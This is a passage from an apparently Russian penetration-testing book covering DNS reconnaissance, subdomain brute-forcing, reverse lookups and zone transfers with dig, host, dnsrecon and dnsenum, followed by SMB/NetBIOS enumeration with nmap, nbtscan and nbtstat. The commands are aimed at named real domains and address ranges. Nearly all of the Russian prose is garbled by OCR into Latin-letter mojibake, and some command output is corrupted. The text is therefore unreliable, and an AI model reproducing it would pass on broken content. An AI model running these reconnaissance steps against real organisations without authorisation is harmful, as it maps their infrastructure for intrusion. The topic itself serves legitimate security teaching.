M1, HaripuMep, depes yruauty nslookup i ee 6ostee pyHKIMoHANBHDIN aHasor dig.

Ha6pas cienyronryo koMaH1y, Mbl HarnpasuM DNS-3anpoc k tomy DNS-cepsepy,
KOTOPBIN yKazaH B Hamux HacTpoiikax TCP/IP coennnenus:

itsecbook@kali:~# dig japantoday.com

; <<>> DiG 9.18.12-1-Debian <<>> japantoday.com

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8454

;5 flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: ©, ADDITIONAL: ©

53 QUESTION SECTION:
;japantoday.com. IN A

55 ANSWER SECTION:
japantoday.com. 5 IN A 174.143.186.153

;5 Query time: 3 msec

55 SERVER: 192.168.91.2#53(192.168.91.2) (UDP)
55 WHEN: Tue May 02 ©5:20:58 EDT 2023

;5 MSG SIZE rcvd: 48

B marHoM ipuMepe Mbl 06paTuinch K gokaapHomy DNS (192.168.91.2) u sanpocum
[P-anpec nnst tomena japantoday . com. DNS-cepBep mosyumns janHbie, cojiepskaiiu-
ecsl B 3aITUCH A, M BEPHYJI HaM OTBeT 174.143.186.153.

C nomoripio Toro ke dig MOKHO MOJYIUTH CIIUCOK TIOYTOBBIX CEPBEPOB, UCIIOJIB3Y-
€MBIX JJAHHOW OpTaHu3aInen:

itsecbook@kali:~# dig japantoday.com mx +short
5 alt2.aspmx.l.google.com.
1 aspmx.l.google.com.
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10 aspmx2.googlemail.com.
10 aspmx3.googlemail.com.
5 altl.aspmx.l.google.com.

O6paruTe BHUMaHKeE, 4TO BosJe Kaxkaoi MX-samucu Haxoaures uyncao — 1, 5, 10.
JanHoe ynco 0603HaYaeT IPUOPUTET IIOUTOBBIX cepBepoB. Hanpumep, koraa 11o-
YTOBBIN areHT MOTbITAeTCs A0CTaBUTh e-mail a1t momena japantoday.com, oH cHa-
4aJia MOIbITAETCS COEJIMHUTBCS C CEPBEPOM, IPUOPUTET KOTOPOTO paBeH 1, U TOJIBKO
B cJTydyae Heyiauu Oy/IeT MbITaThCsl YCTAHOBHUTD COCIMHEHIE C CEPBEPOM, HMEIOTITIM
GoJiee BBICOKMIT MpropuTeT. B lTaHHOM ITpuMepe mapamMerp +short yKasblBaeT, 4To
MbI XOTUM TTOJIYYUTh MUHUMYM TeXHUYecKoi nHdopmari. CpaBHUTE Pe3yJibTaT 13
MEPBOTO MTPUMEPA € Pe3YJIBTATOM U3 BTOPOTO, U BbI CAMU YBUIUTE PA3HUILY.

Tenepn npoananuaupyem TXT-3amucu:

itsecbook@kali:~# dig japantoday.com txt +short
"facebook-domain-verification=cx8cwfagdgqu8ebclt3qoby5jianvl”
"google-site-verification=BvHmXgmPr9ZcWFTLxeZDolxSQwTYx_r8BUesX_ f-400"
"google-site-verification=DXUN1aw6GAT6wuOxqQTUtqp64W_RGc-_z@6VVHAXG1U"
"kkk311mjmod®29n3a4md91lsel5™"

"v=spfl ip4:104.130.137.230 ip4:23.253.107.195 ip4:23.253.124.201
ip4:23.253.125.69 ip4:23.253.238.186
ip6:2001:4800:7818:103:be76:4eff:fe04:b27a
ip6:2001:4800:7817:104:be76:4eff:feb4:edfc
ip6:2001:4800:7817:103:be76:4eff:fe04:d013 ip6:2001:4800:7817:104:b"
"e76:4eff:fe04:9d1c include:_spf.google.com include:amazonses.com
include:spf.mandrillapp.com include:_spf.salesforce.com include:spf.mailjet.com
~all"

YTo MBI MOKEM y3HATHh MHTEPECHOTO U3 Pe3yJibrata 3ampoca? Bo-1mepBbix, 4To maHHast
opranusanust ucrosbayer Google n Facebook miist cbopa cratnerideckoit nabopma-
IIUY U, CKOPee BCETO, /I OTCJIEKUBAHNUS IeHICTBUI ToJIb30BaTeseil. Bo-BTOPBIX, MbI
MOJKeM y3HATh, KAKIM CEPBepPaM PaspelieHo OTIPABJIATH 9JIEKTPOHHYIO TIOUTY, IIPHU-
HaJIJIeKalIyo JoMeny japantoday.com. Dto Bugao B SPF-3anucu. CTout 0TMETHUTD,
4TO cepBepbl, 0OpabaThIBAKOIINE BXOIAIIYIO MOUTY, epeuncaeHbl B MX-3amucsx,
a cepBepbI, UMEIOIIIE IPABO OTHPABJITH nouty, — B SPE 31ech Toxe ecTb MHOTO
TOHKOCTEH U UCKITIOUEHHIT, HO cefiuac Mbl He Oy/IeM B HUX YTIYOISTHCS.

[Torpobyem mosyunth NS-zanucu:

itsecbook@kali:~# dig japantoday.com ns

; <<>> DiG 9.18.12-1-Debian <<>> japantoday.com ns

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50256

;5 flags: gr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 4

55 QUESTION SECTION:
;japantoday.com. IN NS

55 ANSWER SECTION:
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japantoday.com. 5 IN NS dns2.stabletransit.com.
japantoday.com. 5 IN NS dnsl.stabletransit.com.
55 AUTHORITY SECTION:

japantoday.com. 5 IN NS dnsl.stabletransit.com.

japantoday.com. 5 IN NS dns2.stabletransit.com.

;5 ADDITIONAL SECTION:

dns2.stabletransit.com. 5 IN A 65.61.188.4
dnsl.stabletransit.com. 5 IN A 69.20.95.4
dnsl.stabletransit.com. 5 IN A 69.20.95.4
dns2.stabletransit.com. 5 IN A 65.61.188.4

;5 Query time: 3 msec

55 SERVER: 192.168.91.2#53(192.168.91.2) (UDP)
;5 WHEN: Tue May 02 ©5:36:09 EDT 2023

;3 MSG SIZE rcvd: 176

MBI OJIydnJIu ajipeca JBYX cepBepoB. JTta NHGOPMAIIHS MOKET TTOHALOOUTHCS
B JIAJILHENIIIEM [TPH TIOTIBITKE T000PaTh UMEHA CEPBEPOB WJIU MEPEAATH 30HY.

MNepebop AOMEHHbIX MMeH

K coskamnemio, B 00BIYHBIX 0OCTOSATENBCTBAX HUKTO HE TPETOCTABUT HAM CITUCOK
BCEX JIOMEHHBIX UMEH. B JJaHHOM KOHTEKCTe Hac, KOHEYHO, HHTEPeCyIoT A-3alucH.
Enuncreennoe, uto Mbl MokeM mosryauTh ot DNS-cepBepa, — [P-aznpec, ecim ums
CYIIIECTBYET, UJIK OTBET O TOM, UTO UMEHU He CYIIeCTBYeT.

JlaHHBIN METO/] OCHOBAH Ha TIOTIBITKE YTaJlaTh IOMEHHbIE UMEHA CEPBEPOB, UCTIOJIb-
3yeMbIX KoMmanueir. YacTo aTo 6BIBAET MOJIE3HO, Tak KaK UMsI cepBepa 0OBITHO
oTpaskaer ero cogep:kanve. Hanpumep, cepsep ¢ umeneM firewall japantoday.com,
cKopee Bcero, Oyzer aBsaThes (pailepBoJIOM JaHHONW OpraHu3alnuy.

Jlist JTaHHO 3aj1ault OYeHb XOPOIIO MOAXOAUT YTHIANUTA host, BXoAsIIass B cOCTaB
mucTpubyTuBoB Linux:

itsecbook@kali:~# host sol.japantoday.com
Host sol.japantoday.com not found: 3(NXDOMAIN)

itsecbook@kali:~#  host www.japantoday.com

www.japantoday.com is an alias for japantoday.com.
japantoday.com has address 174.143.186.153

japantoday.com has IPv6 address 2001:4800:7901:0:fab5:ca66:0:1
japantoday.com mail is handled by 10 aspmx3.googlemail.com.
japantoday.com mail is handled by 5 alt2.aspmx.l.google.com.
japantoday.com mail is handled by 10 aspmx2.googlemail.com.
japantoday.com mail is handled by 1 aspmx.l.google.com.
japantoday.com mail is handled by 5 altl.aspmx.l.google.com.
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COI‘HaCI/ITer, qTOo Hepe6I/IpaTb VM€EHa BPYYHYIO — 3a/la4ya IMOUCTUHE TUTaHWY€eCKad.
10651 ABTOMATHU3WPOBATh JIaHHYIO 3a/la4y, HaM HY’KEH (bal?m CO CIIMCKOM BO3MOJK-
HbIX UMeH. Takoi (1)8.171.]1 MO>KHO HAlTU B HMHTEPHETE NJIN COCTaBUTHb CaMOCTOATEbHO.

Il npuMepa cospazum daiin dns-names.txt, B KOTOPOM, 110 OJHOMN B CTPOKE, OYAYT
pacrosraraTtbCs CJIeAyIONNe 3anuci: mail, dns, ftp, file, vpn, test, dev, prod, voip,
firewall:

itsecbook@kali:~# cat dns-names.txt
mail

dns

ftp

file

vpn

test

dev

prod
voip
firewall
Www

Tentepsb caesmaeM HeGoJbINON UK Ha Bash 171 mepebopa Bcex TOMEHHBIX UMEH,
YKa3aHHBIX B (haiise:

itsecbook@kali:~# for ip in $(cat dns-names.txt); do host $ip.japantoday.com;
done

mail.japantoday.com mail is handled by 10 feedback-smtp.us-west-2.amazonses.
com.

Host dns.japantoday.com not found: 3(NXDOMAIN)

Host ftp.japantoday.com not found: 3(NXDOMAIN)

Host file.japantoday.com not found: 3(NXDOMAIN)

Host vpn.japantoday.com not found: 3(NXDOMAIN)

Host test.japantoday.com not found: 3(NXDOMAIN)

Host dev.japantoday.com not found: 3(NXDOMAIN)

Host prod.japantoday.com not found: 3(NXDOMAIN)

Host voip.japantoday.com not found: 3(NXDOMAIN)

Host firewall.japantoday.com not found: 3(NXDOMAIN)
www.japantoday.com is an alias for japantoday.com.
japantoday.com has address 174.143.186.153

japantoday.com has IPv6 address 2001:4800:7901:0:fa05:ca66:0:1
japantoday.com mail is handled by 5 altl.aspmx.l.google.com.
japantoday.com mail is handled by 10 aspmx2.googlemail.com.
japantoday.com mail is handled by 1 aspmx.l.google.com.
japantoday.com mail is handled by 5 alt2.aspmx.l.google.com.
japantoday.com mail is handled by 10 aspmx3.googlemail.com.

Butaropiapst ipoekty SecLists BbI MOKeTe UCIIOJIB30BATH OOJIEE MOJTHBIE CIIUCKH HMEH
11 1iepebopa. YeTaHaBIMBaIOTCS OHU OIHOM KOMaH/0ii sudo apt install seclists,
mocJie 4ero B IMPEeKTopwH /usr/share/seclists mosiBsaTcst HyKHbIE BaM (haiiJIbl.
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MNepebop 0bpaTHbIX 3anucen

IMosyuns IP-apeca TaHHON OPraHU3aIiN ¢ TIOMOIIBIO cepBrca Whois, MBI MOJKEM TI0-
BITATHCS OCYIIECTBUTD Mepebop 06PATHBIX 3aIHCel, NCTIOMb3YsI Ty e yTuinTy host:

itsecbook@kali:~# host 81.17.70.138
138.70.17.81.in-addr.arpa domain name pointer abouttest.landmarkgovernment.
co.uk.

Kakus TIpeABbIAYIIEM C/Iydae, Mbl MOKEM aBTOMATU3NPOBATDH IIaHHbeI IIporiecc C 1o-
MOIIIBbIO CKPHIITA:

#!/bin/bash
echo "Please enter network range eg: 194.29.32:"

read range

for ip in “seq 1 254" ;do

host $range.$ip |grep "name pointer" |cut -d" " -f5
done

B nanHom ckpumiTe CYMTHIBAETCS BBEJEHHOE MOJIH30BATEIEM 3HAYEHNE, A UMEHHO TPU
okreTa ceTH kjacca C, a 3aTeM, € MOJCTaBICHUEM B MOCJAEIHNN OKTET 3HAYEHUN OT
1 10 254, BoinosTHsIeTCsI KOMaH/a host juu1s Kask1oro ajapeca. B pesysibrare nosyunm
cJeaylolye Januble, CPeA KOTOPLIX MOXKHO HAallTH KOe-4To MHTEePeCHOe — TeCTOBbIe
cepBepbl UK koHcosib DNS-cepsepa:

2.70.17.81.in-addr.arpa domain name pointer adsl-2.swisp.co.uk.
3.70.17.81.in-addr.arpa domain name pointer asdl-3.swisp.co.uk.
4.70.17.81.in-addr.arpa domain name pointer asdl-4.swisp.co.uk.

100.70.17.81.in-addr.arpa domain name pointer landmark.mail.swisp.co.uk.
124.70.17.81.in-addr.arpa domain name pointer mail@l.landmarkgovernment.co.uk.

125.70.17.81.in-addr.arpa domain name pointer mail@2.landmarkgovernment.co.uk.
129.70.17.81.in-addr.arpa domain name pointer api.landmarkgovernment.co.uk.
130.70.17.81.in-addr.arpa domain name pointer nsoclone.landmarkgovernment.co.uk.
138.70.17.81.in-addr.arpa domain name pointer abouttest.landmarkgovernment.
co.uk.

MNepenaya 30HbI DNS

IMepenaua 3oubr DNS (DNS zone transfer) — 910 mpornece konupoanus (M pe-
mKaun) daiia 6asel ganHbix DNS ¢ 01HOTO cepBepa Ha APyroil. ITOT mpoiece
UCIIONB3YEeTCs 151 00ecIIeueHrsl OTKa30yCTOMYMBOCTU. B HeM IIprHUMAaeT yyacTie
KJIMEHT, 3allpaliiBaionuii epejady yacTi AaHHbIX U3 6asbl, 1 cepBep, IPeJoCTaB-
JISTIOTIUH 3TH JJaHHble. B HEKOTOPBIX NCTOYHUKAX OHU HA3BIBAIOTCSI COOTBETCTBEHHO
BTOPUYHBIM M TIEPBUYHBIM CEPBEPAMI.

Ecam DNS-cepBep HacTpoeH HEMPaBUIBHO W pas3peliaeT HeaBTOPU30BAHHYTO Tiepe-
Jlauy 30HbI, 3JIOYMBINIJIEHHUK MOXKET MTOJIYYUTD MOJIHBIH crincok 3anuceit DNS st
JIoOMeHa, BKodast umena u IP-agpeca XxocToB. DT0 06/1erdyuT JajbHeiinme aTaku —
dummHT, cryGUHT WK aTaku Ha BeG-cepBepbl. K cokaieHno, HEKOTOPbIe aJMU-



MonyyeHune nHbopmaumm ot DNS-cepBepoB 135

HUCTPATOPbI HETIPABUIbHO KOHMUTYpUPYIOT cBor DNS-cepBeps! 1 niepesiaay 30HbI
[OJIyYaeT KasK/blii, KTO 3alpalliiBaeT ee.

Ocy1iecTBUTD mepeady 30HbI MOKHO IByMst yTiinTamu Linux: host wiwm dig.
[TompobyeM 0CyIeCTBUTD TIEPEHOC 30HDI TIOYTHI ABCTPAIIHHN:

itsecbook@kali:~# host -t ns auspost.com.au
auspost.com.au name server k4.nstld.com.
auspost.com.au name server g4.nstld.com.
auspost.com.au name server a4.nstld.com.
auspost.com.au name server 14.nstld.com.
auspost.com.au name server f4.nstld.com.
auspost.com.au name server j4.nstld.com.

itsecbook@kali:~# host -1 auspost.com.au k4.nstld.com
; Transfer failed.

Using domain server:

Name: k4.nstld.com

Address: 192.52.178.33#53

Aliases:

Host auspost.com.au not found: 5(REFUSED)
; Transfer failed.

Komanza host -t ns auspost.com.au Beiziasia HaMm azipeca NS-cepBepoB /i1 joMeHa
auspost.com.au. Komanioii host -1 auspost.com.au k4.nstld.com Mbl [TOIbITAIUCH
OCYILLIECTBUTD II€PEHOC 30HbI, HO HEYJA4HO.

PaccmoTpuM 1iepeHoc 30HbI JIPYyTOTo CepBUCa:

itsecbook@kali host -t ns netstat.dumhost.com
netstat.dumhost.com name server sahandl.netstat.dumhost.com.

itsecbook@kali:~# host -1 netstat.dumhost.com sahandl.netstat.dumhost.com
Using domain server:

Name: sahandl.netstat.dumhost.com

Address: 19.67.20.162#53

Aliases:

netstat.dumhost.com name server sahandl.netstat.dumhost.com.
basij.netstat.dumhost.com has address 19.67.20.167
emailserver.netstat.dumhost.com has address 19.67.20.169
inis.netstat.dumhost.com has address 19.67.20.164
inra.netstat.dumhost.com has address 19.67.20.167
mail.netstat.dumhost.com has address 19.67.20.169
nepton2.netstat.dumhost.com has address 19.67.20.167
ns3.netstat.dumhost.com has address 19.67.20.162
ns4.netstat.dumhost.com has address 19.67.20.163
sahandl.netstat.dumhost.com has address 19.67.20.162
simorgh.netstat.dumhost.com has address 19.67.20.171
tamas.netstat.dumhost.com has address 19.67.20.166
www.netstat.dumhost.com has address 120.11.7.220

B pesysbraTe Mbl HOJYYUIN YIQYHBIH 1€PEHOC 30HBL.
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DNSRecon

Dnsrecon — MONTHBIN MHCTPYMEHT, KOTOPBIN TTpeIHa3HAYEH 75T CO3/IaHMST Pa3ind-
ubpix DNS-3anpocos u c6opa nosesnoil undopmanuu. On gapisgercsa yactbio Kali
Linux 1 MoseT GbITh MCITOJIb30BaH JIJIsI BBITIOJTHEHUST MHOJKECTBA 3a/1a4 B IIPOIIECCe
TECTUPOBAHUS HA TPOHUKHOBEHUE.

OcHOBHBIE BO3MOKHOCTH dnsrecon:

e 1nepe6op DNS-zanuceit pasinunbix Tunos: A, AAAA, MX, NS, SOA ur. 1;

® 110160 MOAJIOMEHOB C UCIOJIb30BAHUEM BCTPOEHHOTO UJIH MOJB30BATENBCKOTO
cloBaps;

e 1noxbop obparubix DNS-zanuceil ajs onpeeseHnss UMEH XOCTOB B 3aJaHHOM
nuanasone [P-anpecos;

® IIpOBEpPKa Ha YA3BHMOCTD K II€pejadye 30HbI.

[TpoxemoncTpupyeM paboty dnsrecon TIpu BLITOJTHEHUH OTIMCAHHBIX BHITIE 3a/1a4.
Jlnst Havasma mompobyeM OCyIIeCTBUTD Pa3BEKy U TOTBITKY Mepeadn 30HbL. JIist
ATOTO MBI UCIIOJB3YEM J[BA MapamMeTpa: -d HeOOXOMM JIJIST YKA3aHUsI [IEE€BOTO J10-
MeHa, a -t — JIJTs1 yKa3aHus TUIA aTaKu:

itsecbook@kali:~# dnsrecon -d netstat.dumhost.com -t axfr

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[-]

Testing NS Servers for Zone Transfer
Checking for Zone Transfer for netstat.dumhost.com name servers
Resolving SOA Record
SOA nsl.netstat.dumhost.com 120.11.32.56
Resolving NS Records
NS Servers found:
NS ns3.netstat.dumhost.com 19.67.20.162
NS ns4.netstat.dumhost.com 120.11.32.2
NS nsl.netstat.dumhost.com 120.11.32.56
NS ns2.netstat.dumhost.com 120.11.32.3
Removing any duplicate NS server IP Addresses...

Trying NS server 120.11.32.56
Zone Transfer Failed for 120.11.32.56!
Port 53 TCP is being filtered

Trying NS server 120.11.32.3
Zone Transfer Failed for 120.11.32.3!
Port 53 TCP is being filtered

Trying NS server 120.11.32.2
Zone Transfer Failed for 120.11.32.2!
Port 53 TCP is being filtered

Trying NS server 19.67.20.162

[*]netstat.dumhost.com name server sahandl.netstat.dumhost.com.
[*]basij.netstat.dumhost.com 19.67.20.167
[*]emailserver.netstat.dumhost.com 19.67.20.169
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[*]inis.netstat.dumhost.com 19.67.20.164
[*]inra.netstat.dumhost.com 19.67.20.167
[*Imail.netstat.dumhost.com 19.67.20.169
[*Inepton2.netstat.dumhost.com 19.67.20.167
[*]ns3.netstat.dumhost.com 19.67.20.162
[*]ns4.netstat.dumhost.com 19.67.20.163
[*]sahandl.netstat.dumhost.com 19.67.20.162
[*]simorgh.netstat.dumhost.com 19.67.20.171
[*]tamas.netstat.dumhost.com 19.67.20.166
[*]www.netstat.dumhost.com 81.91.7.220

Kak MbI BUIM U3 aHHOTO IpuMepa, dnsrecon cHadasia mosrydust Bce NS-sarmcu ijist
HCCJIELyeMOTro IOMEHa, a 3aTeM MoMPoOOBaJ OCYIIECTBUTD aTaKy MO THITY Hepeaadn
30HBI JIJIST KQKJIOTO HalijieHHoTo cepBepa. U ecin epBbie cepBepbhl OKA3auCh Heysi3-
BUMBIMU K JJAHHOMY THITY aTaKH, TO TOCJEHUIN TT03BOJIMI OCYIIECTBUTD TIepeady
30HBI U TIOJIYYUTh BCE JOMEHHbIE TMEHA.

Hwxe onmiieM apyTiie BO3MOKHBIE TUIIBI aTaK, CIEAYIONIE 32 TTAPAMETPOM - t:

rv1: HOMCK OOPATHBIX 3aMUCel B 33/[AHHOM J[HaIla30He;
brt: mepebop TOMEHOB 1 XOCTOB € UCIIOJIB30BAHIEM CJIOBAPS;

srv: 3arucu SRV,

°
[ ]

°

e axfr:mpoBepka Bcex cepepoB NS Ha 11epejiauy 30Hbl;

® bing: BBITIOJTHEHUE TTOUCKA TTOITOMEHOB U XOCTOB B Bing;

® yand: BBITIOJIHEHNE IONCKA MOJJIOMEHOB M XOCTOB B Yandex;
°

crt: BbIIIOJIHEHME TIOMCKA ITOJ/IOMEHOB 1 XOCTOB C UCII0JIb30BaHUEM crt.sh.

DNSEnum

Dnsenum — wHCTpYMeHT /17151 TTIOTydeHust mHdopmarmu o jomere ot DNS-cepsepos.
OH uCII0JIb3y€eT Pa3InYHbIE METOIBI IOTYUEHNUST IAHHBIX, BKII04Yast 00bratbie DNS-
3a1pochl, epebop TO/IOMEHOB, TToUck obpaTHbix DNS-3amuceii 1 nonbITKY nepe-
maau 3006l DNS.

OcHogHble GyHKIMKE dnsenum:

e nosiydenre MHGOPMAIMKU O cepBepax: dnsenum MOKET OIPEEIUTh CepBepbI
nmen (NS), noutossie cepsepbl (MX) 1 cepBepbI, CBSI3aHHbIE C OIIPe/ieJIEHHBIM
JIOMEHOM;

® 11epebop MOAJOMEHOB: ¢ OMOIIBIO ¢JIoBapst dnsenum MOKeT MOIBITAThCS MO0~
Oparb MOATOMEHBI, CBSI3AHHBIE C OCHOBHBIM JOMEHOM;

e tnouck ob6parHbix DNS-3anuceil, IpuHAIEKAINX OMPEAETIEHHOMY AUATIA30HY
[P-anpecos;

® [IOIBITKH IIepeJayu 30HbI;

e ucnosib3opanue Google st OMCKA OIOMEHOB.
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ITpumepsl ncmonbzoBanus dnsenum:

® TIpPOCTOM TIoUCK: dnsenum example . com. ITa KOMaH/IA TIPOU3BOAUT Oa30BbII aHAIN3
nomeHa example.com, Bktouast onpesesenue cepeepoB umMeH (NS) u ouTOBbIX
cepBepos (Hammpumep, MX);

® T1epebop MOJIOMEHOB ¢ UCIOIb30BaHNUEM (haliia co CIIUCKOM CJIOB: dnsenum
--enum -f subdomains.txt example.com. JTa KOMaH/a UCIOJb3YeET haiia
subdomains.txt gy nepe6opa BOSMOKHBIX IOAZOMEHOB example.com;

® 1iepejiaya 30HBI: dnsenum --dnsserver nsl.example.com example.com. JTa KOMaH-
J1a IIBITAETCS BBIIOJHUTD [Iepeiady 30HbI UIst cepBepa uMeH nsl.example.com;

® JCIOJIb30BaHUe Google JIJI TIOUCKA TI0/I/IOMEHOB: dnsenum --google example.com.

Dnsenum u dnsrecon mpeacTaBastior coboit 1Ba MOTIHBIX HHCTPYMEHTA [7ist cHopa
urdopmarn DNS, Ho pasinyatores QYHKIMSAME 1 CITOCOOaMI UCIIOJIb30BAHMSL.

PaCCMOTpI/IM HEKOTOPbIE PA3JINUNA MEKAY OTUMU ABYMA YTUITUTaMU:

o TIloabsoBarenbckuii uarepdeiic. Dnsenum umeer 6osiee TPOCTOI TOTH30BA-
TeJbCKUI nHTepdeiic u jerde B UCII0Ib30BAHUM /11 HOBUUYKOB. B TO ke Bpems
dnsrecon mpejraraer Gosiee o6IUPHBIE U THOKKUE BOSMOKHOCTH HACTPOMKH, Y4TO
MOJKET OBITh TOJIE3HO JJIst GoJIee OMBITHBIX MOJIb30BATEEH.

e Meroan moucka. Dnsenum MokeT HCToab30BaTh Google muist momcka moamno-
MeHOB, Tor/ia Kak dnsrecon npumensieT Bing u Yandex st a10ii 11eJ1m.

e Ckopocts u 3ddextuBHOCTh. Dnsrecon 06br4HO paboraer GvicTpee U -
¢dextusHee, yem dnsenum, 0co6eHHO ¢ GOJMBITUME JOMEHAME HJIU CIIUCKAMU
JIOMEHOB.

e Oo6uoBaenus. Dnsrecon 06HOBIAETCA qalie n mMeeT aKTUBHOE COO6H.[€CTBO
paSpa60T‘-II/IKOB, KOTOpPOE€ IMOCTOAHHO pa60TaeT Ha/l yJydlli€eHuEM MHCTPYMEHTA.

B memoM MOKHO CKaszaTb, 4To BEIOOp Mexkay dnsenum u dnsrecon ompenensercst
BalllMMU KOHKPETHBIMU IIOTPEOHOCTAMUI U MMEIOIUMCS Y BAC OIIBITOM.

[NonyyeHne AaHHbIX C UcnonbL3oBaHneM SMB

SMB (Server Message Block) — mpoTokoJi ceTeBoro ypoBHsi, KOTOPBIN 00Jierdaer
oOMeH (aiiamu, TPUHTEPAMU U IPYTHMHU PECypPcaMu MKy yaaaMu B ceti. OH ObLT
paspabotan Microsoft u sBAsIeTCSI OCHOBHBIM TTPOTOKOIOM JI7IsT 06MeHa (aitmamin
B cpene Windows, XOTsI Takike TO/IEPKUBACTCS W APYTUMU OTIEPAITHOHHBIMHU CH-
CTEeMaMHU.

SMB ucnonbayeTcst 1711 0OMeHa TAHHBIMUA MEKIY KIUEHTOM U cepBepoM. KirrmeHTt
OTIPABJISIET 3aIIPOC Ha JIOCTYTI K PeCypCy Ha cepBepe, a cepBep OTBevaeT, MPeoCcTaB-
JISIST 3ATTpaIiuBaeMbIe TaHHbIE WM co0bImast 0 Bo3uuKImel omubre. SMB paboraet
10 poTokojry TCP/IP 1 00bIYHO UCIIONB3YeT HOPT 445. B 1IpoIioM oH Takke uc-
nosbsosan NetBIOS over TCP/IP (NBT), paboras Ha nmoprax 137—139.
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HecMmoTpst Ha eTo HecOMHEHHYTO TTOJIE3HOCTH, TPOTOKO SM B Bee ske cofep:RUT HeKo-
topsble ya3sumoctu. On npumensiicst B WannaCry u NotPetya, rie 3710yMblIIIeHHA-
KU MCII0JIb30BaU ys13BUMOCTh B SMBV1 uist pactipoctpanenus Bpegonoctoro 110.

MNMony4yeHne nHgopmaumm ¢ nomoubio NetBIOS

NetBIOS — nporokoJ, kotopsiii paspaboran kommnanueit IBM g paboTbl B Jio-
KaabHbIX cetsax. Haunnas ¢ Windows XP SP2 u Windows Server 2003, npoToko
6bL1 epepaboran komnanueil Microsoft u cran 6osee 6esonacubiM. OgHako Gosee
crapbie Bepcurt Windows, a Takske cepBuc Samba, KOTOpbIi paboTaet Moz yipasJie-
nueM Linux, Bce ele MMEIOT Psifi CEPbe3HBIX YA3BUMOCTEIA.

NetBIOS pab6oraer Ha 139-m TCP-nopre. Crout ormeruts, uto SMB 1 NetBIOS —
9TO JIBa OTAEIBHBIX IIPOTOKOJIA. XOTsI COBpeMeHHbIe peanusanun SMB moryT pa6o-
tatb 6e3 NetBIOS, NetBIOS uepes TCP (NBT) tpebyercst 1t o6paTHOil coBMe-
CTUMOCTH.

[l magasa HalizieM XOCTBI, KOTOPBIE TTOAIEPKUBAIOT HYKHBIN TTPOTOKOT:

itsecbook@kali:~# nmap -v -p 139,445 192.168.91.0/24

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 ©9:15 EDT
Initiating ARP Ping Scan at 09:15

Scanning 255 hosts [1 port/host]

Completed ARP Ping Scan at ©9:15, 1.96s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 3 hosts. at ©9:15

Completed Parallel DNS resolution of 3 hosts. at ©9:15, 0.01s elapsed
Nmap scan report for 192.168.91.0 [host down]

Nmap scan report for 192.168.91.3 [host down]

Nmap scan report for 192.168.91.4 [host down]

Nmap scan report for 192.168.91.252 [host down]

Nmap scan report for 192.168.91.253 [host down]

Nmap scan report for 192.168.91.255 [host down]

Initiating Parallel DNS resolution of 1 host. at ©9:15

Completed Parallel DNS resolution of 1 host. at ©09:15, 0.00s elapsed
Initiating SYN Stealth Scan at ©09:15

Scanning 3 hosts [2 ports/host]

Completed SYN Stealth Scan at ©9:15, 1.24s elapsed (6 total ports)
Nmap scan report for 192.168.91.1

Host is up (©.0021s latency).

PORT STATE SERVICE

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: D1:85:62:B8:03:B6 (Hewlett Packard)

Nmap scan report for 192.168.91.2
Host is up (0.00032s latency).

PORT STATE SERVICE
139/tcp closed netbios-ssn
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445/tcp closed microsoft-ds
MAC Address: ©0:50:56:FE:1D:3F (VMware)

Nmap scan report for 192.168.91.254
Host is up (0.00021s latency).

PORT STATE SERVICE

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 62:51:0D:53:3A:2D (Hewlett Packard)

Initiating SYN Stealth Scan at 09:15

Scanning 192.168.91.128 [2 ports]

Completed SYN Stealth Scan at ©9:15, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.91.128

Host is up (©.000059s latency).

PORT STATE SERVICE
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds

Read data files from: /usr/bin/../share/nmap
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.41 seconds
Raw packets sent: 524 (14.864KB) | Rcvd: 14 (472B)

Nbtscan — yrunnra, noggepskusaemass OC Windows 1 Linux, koropast paboTtaer
13 KOMaHAHOH cTpoku. C IIOMOIIbIO Hee MOXKHO IIPOCMOTPETh CIIMCOK JIOMEHOB,
BXOJISIIINE B COCTAB KAXK/OTO JOMEHA KOMITBIOTEPBI, a TAKIKe MOJYIUTb JAPYTYIO UH-
opmarmio:

itsecbook@kali:~# nbtscan -r 192.168.126.0/24
Doing NBT name scan for addresses from 192.168.126.0/24

IP address NetBIOS Name Server User MAC address

192.168.126.0 Sendto failed: Permission denied
192.168.126.129 <unknown> <unknown>
192.168.126.171 ORG\ZL25424 <server> SHARON a0:1d:48:12:9d:36
192.168.126.172 ORG\ZL15917 <server> RINGO 64:31:50:a1:f5:57

192.168.126.174 ORG\ZL16500 <server> RAIMOND 90:bl:1c:6b:5b:c4

Null session

Null session — s10 HeaBropusuposantast ceccrst Net BIOS Mex/1y ByMst KOMITbIO-
tepamu. OHa TIpUMEHSIETCS 711 TosryueHust nadopmanuu o cepepax Windows
U pecypcax 00IIero moab30BaHms. ECIM B CeTH Pa3perieno YCTaHABINBATh CEAHCHI
TAKOTO TUIIA, TO OHU MTO3BOJISAT HAM TTOJIYYUTh OTPOMHOE KOJTNYeCTBO MH(POPMAIIAN:
HOJINTUKHY TTapoJiell, UMeHa 110J1b30BaTesIell U Ha3BaHUs TPYILI, UMeHA KOMIIbIOTEPOB
UT. L



MonyyeHne AaHHbIX C UCNob30BaHNMeM SMB

[TompobyeM MOTYYUTh CIUCOK PECYPCOB, TIPETOCTABIISIEMBIX OHON U3 MATITHH:

C:\Users\test>net view \\AURUM
Shared resources at \\AURUM

Share name Type Used as Comment
Mobile Disk Public access
Test Disk

The command completed successfully.

A TEeNepb MOJIYYUM CITMCOK YUYETHBIX 3amnucei Ha yHaJIeHHOfI MallnHe:

C:\Users\test>nbtstat -A 192.168.10.56

Local Area Connection:

Node IpAddress: [192.168.10.56] Scope Id: []
NetBIOS Remote Machine Name Table

Name Type Status
AURUM <00> UNIQUE Registered
LINDA <00> GROUP Registered
SILVIJA <20> UNIQUE Registered

MAC Address = 00-E6-43-21-DE-1D

141

